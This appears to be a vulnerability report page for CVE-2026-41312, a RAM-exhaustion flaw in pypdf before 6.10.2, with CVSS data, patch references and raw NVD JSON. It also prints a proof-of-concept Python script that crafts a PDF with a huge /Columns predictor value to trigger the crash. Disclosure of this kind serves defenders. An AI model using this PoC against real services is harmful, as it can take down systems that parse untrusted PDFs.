Security Vulnerability Report
中文
CVE-2026-41312 CVSS 6.5 MEDIUM

CVE-2026-41312

Published: 2026-04-22 22:16:32
Last Modified: 2026-04-27 19:31:03

Description

pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:* - VULNERABLE
pypdf < 6.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zlib # Malicious PDF generation # This script creates a PDF with a stream containing a huge /Columns parameter # inside /DecodeParms for /FlateDecode, which triggers the RAM exhaustion. # Create some dummy data to compress data = b'A' * 100 compressed_data = zlib.compress(data) # Construct the PDF body with the malicious stream # The key is the /Columns 999999999 inside the DecodeParms pdf_content = f"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /Resources << /XObject << /Img0 4 0 R >> >> /MediaBox [0 0 612 792] /Contents 5 0 R >> endobj 4 0 obj << /Type /XObject /Subtype /Image /Width 100 /Height 100 /ColorSpace /DeviceRGB /BitsPerComponent 8 /Filter /FlateDecode /DecodeParms << /Predictor 12 /Columns 999999999 /Colors 3 /BitsPerComponent 8 >> /Length {len(compressed_data)} >> stream {compressed_data.decode('latin1')} endstream endobj 5 0 obj << /Length 44 >> stream BT /F1 24 Tf 100 700 Td (Hello) Tj ET endstream endobj xref 0 6 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000288 00000 n 0000000453 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 528 %%EOF """ with open("cve_2026_41312_poc.pdf", "wb") as f: f.write(pdf_content.encode('latin1')) print("Malicious PDF generated: cve_2026_41312_poc.pdf") print("Attempting to read with pypdf will cause RAM exhaustion.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41312", "sourceIdentifier": "[email protected]", "published": "2026-04-22T22:16:32.093", "lastModified": "2026-04-27T19:31:03.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to the RAM being exhausted. This requires accessing a stream compressed using `/FlateDecode` with a `/Predictor` unequal 1 and large predictor parameters. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.10.2", "matchCriteriaId": "337052B5-CF2A-4226-8757-E09AB8B66A82"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/commit/ac734dab4eef92bcce50d503949b4d9887d89f11", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/py-pdf/pypdf/pull/3734", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.10.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-7gw9-cf7v-778f", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}